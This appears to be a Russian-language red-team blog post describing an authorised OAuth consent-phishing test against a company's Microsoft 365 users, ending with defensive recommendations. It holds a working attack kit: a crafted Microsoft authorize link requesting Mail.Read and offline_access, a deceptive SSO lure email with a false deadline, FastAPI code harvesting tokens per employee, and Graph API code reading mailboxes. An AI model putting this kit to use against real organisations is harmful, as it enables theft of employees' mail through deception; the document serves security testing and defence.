В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача найти новые вектора атаки на инфраструктуру компанию. Мы знали, что все оконечные устройства оснащены EDR с поведенческим анализом. На периметре не было уязвимых сервисов или других точек входа. Решили сосредоточить свои усилия в рамках данного тестирования на сотрудниках компании, реализовать фишинговую компанию. Почтовый сервер — Microsoft Office 365. Наличие EDR на оконечные устройства сразу исключило классические методы с вредоносными вложениями - исполняемые файлы, макросы или эксплойты для Office были бы либо заблокированы, либо мгновенно обнаружены. Поэтому мы выбрали тактику: атаку не на уязвимости клиентского ПО, а на сам процесс авторизации OAuth 2.0 в Office 365, с целью получения содержимого почтовых ящиков без единого вредоносного файла.

Тактику, которую мы выбрали, известна как OAuth 2.0 authorization code flow. Мы не отправляли ссылку на поддельную страницу входа. Вместо этого мы заставили пользователя нажать кнопку «Принять» внутри легитимного окна Microsoft, после чего с помощью API спокойно читали его почту.

Ключевая особенность экосистемы Microsoft 365 заключается в том, что она построена на Azure Active Directory. Любое внешнее приложение может получить доступ к данным пользователя, если получит его явное согласие (consent) и токен. Этим мы и воспользовались.

Для начала на портале Azure AD в разделе «Регистрация приложений» (App registrations) мы создали новое приложение с типом «Web».

  1. Перешли на портал Azure AD → «Регистрация приложений» (App registrations).

  2. Создали приложение с типом «Web».

  3. В качестве URI перенаправления (redirect_uri) указали: https://myJiracallback.com/callback

  4. Сгенерировали client_secret и получили client_id

Далее мы сформировали специальную ссылку, ведущую не на поддельный, а на самый настоящий сайт login.microsoftonline.com. Параметры этой ссылки включали наш client_id, тип ответа code, наш redirect_uri, а самое главное - набор запрашиваемых разрешений (scope): Mail.Read (чтение писем, тел и вложений), offline_access (позволяет получить refresh_token для долгосрочного доступа).

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=11111111-aaaa-2222-bbbb-333333333333
&response_type=code
&redirect_uri=https://myJiracallback.com/callback
&response_mode=query
&scope=Mail.Read%20offline_access
&state=уникальный_идентификатор_пользователя```

Помимо публично common существуют еще organizations,consumers или {tenant} конкретной организации. Ниже представлена таблица с описанием параметров запросов.

Parameter

Required/optional

Description

tenant

required

The {tenant} value in the path of the request can be used to control who can sign into the application. Valid values are common, organizations, consumers, and tenant identifiers. For more information, see Endpoints.

client_id

required

The Application (client) ID that the Microsoft Entra admin center – App registrations page assigned to your app.

scope

optional

A space-separated list of scopes. The scopes must all be from a single resource, along with OIDC scopes (profile, openid, email). For more information, see Permissions and consent in the Microsoft identity platform. This parameter is a Microsoft extension to the authorization code flow, intended to allow apps to declare the resource they want the token for during token redemption.

code

required

The authorization_code that you acquired in the first leg of the flow.

redirect_uri

required

The same redirect_uri value that was used to acquire the authorization_code.

grant_type

required

Must be authorization_code for the authorization code flow.

code_verifier

recommended

The same code_verifier that was used to obtain the authorization_code. Required if PKCE was used in the authorization code grant request. For more information, see the PKCE RFC.

client_secret

required for confidential web apps

The application secret that you created in the app registration portal for your app. Don't use the application secret in a native app or single page app because a client_secret can't be reliably stored on devices or web pages. It's required for web apps and web APIs, which can store the client_secret securely on the server side. Like all parameters here, the client secret must be URL-encoded before being sent. This step is done by the SDK. For more information on URI encoding, see the URI Generic Syntax specification. The Basic auth pattern of instead providing credentials in the Authorization header, per RFC 6749 is also supported.

Ссылка была минимизирована через сервис коротких ссылок и внедрена в тело обычного текстового письма.

Уважаемые коллеги,
Отдел информационной безопасности совместно с ИТ-департаментом внедряет единое окно аутентификации (SSO) для всех корпоративных веб-сервисов.
Теперь для входа в Jira, Confluence, SharePoint и другие платформы не нужно будет запоминать отдельные пароли — достаточно одного корпоративного аккаунта Microsoft 365.
Чтобы активировать новую возможность для вашей учётной записи, выполните всего одно действие:
URL
Если вы не активируете подключение до 30 мая, доступ к Jira и Confluence будет временно ограничен.

Когда сотрудник нажимал «Принять» (Accept) в окне разрешений Microsoft, браузер перенаправляет code на myJiracallback.com/callback?code=0.AX...&state=user1.

Чтобы понять как работает данная схема подробно опишем шаги которые необходимо сделать для авторизации нативного приложения (Native App) для доступа к Web API с использованием протокола OAuth 2.0.

Этап

Действие

Что происходит

1

Получение письма пользователем

Пользователь открывает письмо браузере ** с адресом login.microsoftonline.com

2

Аутентификации + Согласие пользователя

В браузере входит в учётную запись и даёт согласие

3

Браузер пользователя редиректит на наш сервер authorization code

Возвращается authorization code (одноразовый код)

4

Делаем запрос к Microsoft для получения access token и refresh token

Наш сервис отправляет authorization code,client_secret,client_id на сервер Microsoft

5

Получаем access token и refresh token

Сервер Microsoft отдаёт access token и refresh token (долгоживущий)

6

Используя access token делаем запрос к почтовому сервису.

Наш сервис вызывает API, передавая access token в заголовке Authorization

Обновление Access token

Access token истекает

1

Отправляем запрос в Microsoft

Приложение отправляет refresh token (вместе с client_id)

2

Получаем данные от Microsoft

Сервер выдаёт новый access token + новый refresh token

Шаги 1,2 делает пользователь, а все остальные шаги 3-6 делаем мы.

Нам нужен был массовый сбор ответов, поэтому мы подняли простой веб-сервер на FastAPI

`@app.get("/callback")
 async def oauth_callback(code: str, state: str = None):
    # Обмениваем код на токен
    token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"    
    data = {
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "code": code,
        "redirect_uri": REDIRECT_URI,
        "grant_type": "authorization_code",
    }    
    response = requests.post(token_url, data=data)
    tokens = response.json()    
    save_to_db(state, tokens)  # сохраняем в БД с меткой сотрудника

В ответ от Microsoft приходил JSON-объект, содержащий три ключевых элемента: access_token (живет около часа), refresh_token (живет до 90 дней) и список выданных scope. Мы сохраняли эти токены в базе данных с привязкой к идентификатору сотрудника из параметра state.

{
access_token": "eyJ0eXAKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5HVEZ2ZEstZnl0aEV1Q...", "token_type": "Bearer",
"expires_in": 3599,
"scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read",
"refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...",
"id_token":"eyJ0eXAiOiJKV1QiLCJhGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0tOD..."
}

Ниже представлена таблица с описанием параметров ответа от Microsoft.

Parameter

Description

access_token

The requested access token. The app can use this token to authenticate to the secured resource, such as a web API.

token_type

Indicates the token type value. The only type that Microsoft Entra ID supports is Bearer.

expires_in

How long the access token is valid, in seconds.

scope

The scopes that the access_token is valid for. Optional. This parameter is non-standard and, if omitted, the token is for the scopes requested on the initial leg of the flow.

refresh_token

An OAuth 2.0 refresh token. The app can use this token to acquire other access tokens after the current access token expires. Refresh tokens are long-lived. They can maintain access to resources for extended periods. For more detail on refreshing an access token, refer to Refresh the access token later in this article. Note: Only provided if offline_access scope was requested.

id_token

A JSON Web Token. The app can decode the segments of this token to request information about the user who signed in. The app can cache the values and display them, and confidential clients can use this token for authorization. For more information about id_tokens, see the id_token reference. Note: Only provided if openid scope was requested.

Используя данные из нашей БД мы можем авторизовываться и читать почту пользователей.

headers = {"Authorization": f"Bearer {access_token}"}
resp = requests.get(
    "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,receivedDateTime,from,hasAttachments&$orderby=receivedDateTime desc",
    headers=headers
)
emails = resp.json().get("value", [])

За два часа рассылки (в ней участвовало 300 сотрудников ) 132 человека (44%) перешли по ссылке, 98 из них (32,6%) нажали «Принять» в окне OAuth2 и предоставили доступ к своей почте. Люди предоставляют доступ к своим данным, если атака использует легитимный интерфейс Microsoft и не вызывает подозрений.
Меры реагирования
1. Включить политику «User consent to apps» → Allow user consent for verified publishers only или Deny user consent второй вариант предпочтительней
2. Настроить сбор логов Azure AD в SIEM с корреляцией Consent + массовый MailItemsAccessed
3. Включить политику: доступ к Graph API только с гибридных устройств или через VPN.

Комментарии (0)